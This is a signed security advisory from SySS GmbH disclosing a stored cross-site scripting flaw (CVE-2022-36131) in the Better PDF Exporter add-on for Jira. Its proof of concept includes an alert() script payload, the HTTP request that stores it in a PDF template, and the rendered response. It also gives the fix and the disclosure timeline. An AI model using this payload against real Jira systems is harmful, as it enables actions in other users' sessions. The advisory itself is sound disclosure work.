-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID:               SYSS-2022-038 
Product:                   Better PDF Exporter for Jira
Manufacturer:              Midori Global Consulting Kft.
Affected Version(s):       10.0.0 
Tested Version(s):         9.6.0 
Vulnerability Type:        Stored Cross-Site Scripting (CWE-79) 
Risk Level:                Low
Solution Status:           Open
Manufacturer Notification: 2022-05-27
Solution Date:             -
Public Disclosure:         2022-07-22
CVE Reference:             CVE-2022-36131
Author of Advisory:        Lukas Faiß, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Better PDF Exporter is an add-on for Jira to export Jira artifacts to
PDF files.

The manufacturer describes the product as follows (see [1]):

"Better PDF Exporter exports Jira issues to PDF documents to share, 
print, email, archive and report issues in the standard business 
document file format."

Due to insufficient input validation of user-provided input, Better PDF
Exporter is vulnerable to cross-site scripting attacks.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The 'PDF Templates' overview is prone to a stored cross-site scripting 
attack. XSS vulnerabilities allow an attacker to embed malicious 
JavaScript code into server replies which is later executed in the 
web browsers of other users. By executing JavaScript, attackers can, for 
example, perform actions in the context of other logged-in users.

For testing purposes, the add-on of the manufacturer[1] was used in
a local Jira Server[4] installation. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The 'PDF Template' view in the administration back end can be exploited 
for an attack. 

After entering the attack vector "<script>alert('SySS_RXSS_PoC');
</script>" in the description field of a PDF template, the following 
request is sent to the server:

POST /rest/com.midori.jira.plugin.pdfview/1.0/pdf-resource/30 HTTP/2
Host: [REDACTED]
Cookie: <Cookie>
Content-Length: 153
Sec-Ch-Ua:"Not A;Brand";v="99","Google Chrome";v="101"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: <User-Agent>
Sec-Ch-Ua-Platform: "Linux"
Origin: [REDACTED]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: [REDACTED]/secure/update-pdf-resource.jspa?id=30
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

name=Pentest.pdf&description=%3cscript%3ealert('SySS_PXSS_PoC')%3b%3c
%2fscript%3e&content=content

By calling the 'PDF Template' overview page through the URL 
"https://[REDACTED]/secure/pdf-resources.jspa", the payload is loaded 
and executed. The payload is listed in the following response: 

...
<td>
<a title="Edit" href="/secure/update-pdf-resource.jspa?id=30">
Pentest.pdf</a>
</td>
<td style="width:50%;"><script>('SySS_PXSS_PoC') /></td>
<td>16.05.2022 10:07</td>
<td class="icon">
<a title="Delete" class="icon icon-delete"
onclick="return confirm('Are you sure to delete &quot;Pentest.pdf
&quot;?\n(There is no undo.)');"href="/secure/
delete-pdf-resource.jspa?id=30"><span>Delete</span></a></td>
...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Context-sensitive HTML encoding of user input.

More information can be found at
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_
Prevention_Cheat_Sheet.html.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2022-05-12: Vulnerability discovered
2022-05-27: Vulnerability reported to manufacturer
2022-07-22: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website of Better PDF Exporter 
    https://marketplace.atlassian.com/apps/5167/better-pdf-exporter-for-jira?tab=overview&hosting=server
[2] SySS Security Advisory SYSS-2022-038
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-038.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy
[4] Jira Core Server 
    https://www.atlassian.com/software/jira/core/download

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Lukas Faiß of SySS GmbH.

E-Mail: lukas.faiss@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Lukas_Fai%C3%9F.asc
Key Fingerprint: A145 2068 8E74 5053 A7BE 97C3 D78E AE2E B739 3EEA 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEoUUgaI50UFOnvpfD146uLrc5PuoFAmLX3k4ACgkQ146uLrc5
PuqxGw//aPLxyjI2RohpILLUQuOXlEzI7NkCrYr/GK1sP3Kjh9enp4y0U7NC3zyE
BcH0P81/2cCgmI2zovVrSDnswfDY8tDzNqBP9ygmM9swBiSgaDq6kiHrTmeLtY+C
dl0iwTHXOxBMhvFyADstnWU/VvHtz6cWMg7/dWBHPlqwgxZw5AzrIlMVOa/lIXsU
3CgeFnk7zacGtbdNUAPGYZES5+zMRwRypOc7hsi8L5IaMHExmm/ktbQRkOjDs8xs
Ra8CHdLy911ez7r+vV3dtNQLXXf9MrD5RLV9CSnNLj6Rsn5ErBxkSVWKrFJfcacR
ufHB3+BUomXxeCZ3Ps86QjIxpm0tLf3O2p2Aunm6S/+xrj6k392a7V5mVvIJmLBN
nR1tuLJbIi+GBBqoxWqcsa6l6NhLIkJawcg6yDJSzCGwI9tBHGHjt/pT+/a0Q9VF
dU0cpVYrhdDX1duTIxqVR9sOT/PIVVdLK43oKYcHABP1kWozMuPNs+LNaLoTTqLK
3vEBsq+Ceq0RAF+6y9iqS7XO3/DtJ4SjjEYxkt9uUCGQS+aVjeBVcB814vA6/E2Y
lifhFnwlFX6uGBwuFYITO5eKXOZR9tCQbYRd/9Wa4bhnhJoySQJW1aoxcncL6+EB
iKINoH1oRsGjU7UHJi58Cp9XaamgKfx3WTQJ0XRGiznaaQjRNi4=
=xgLt
-----END PGP SIGNATURE-----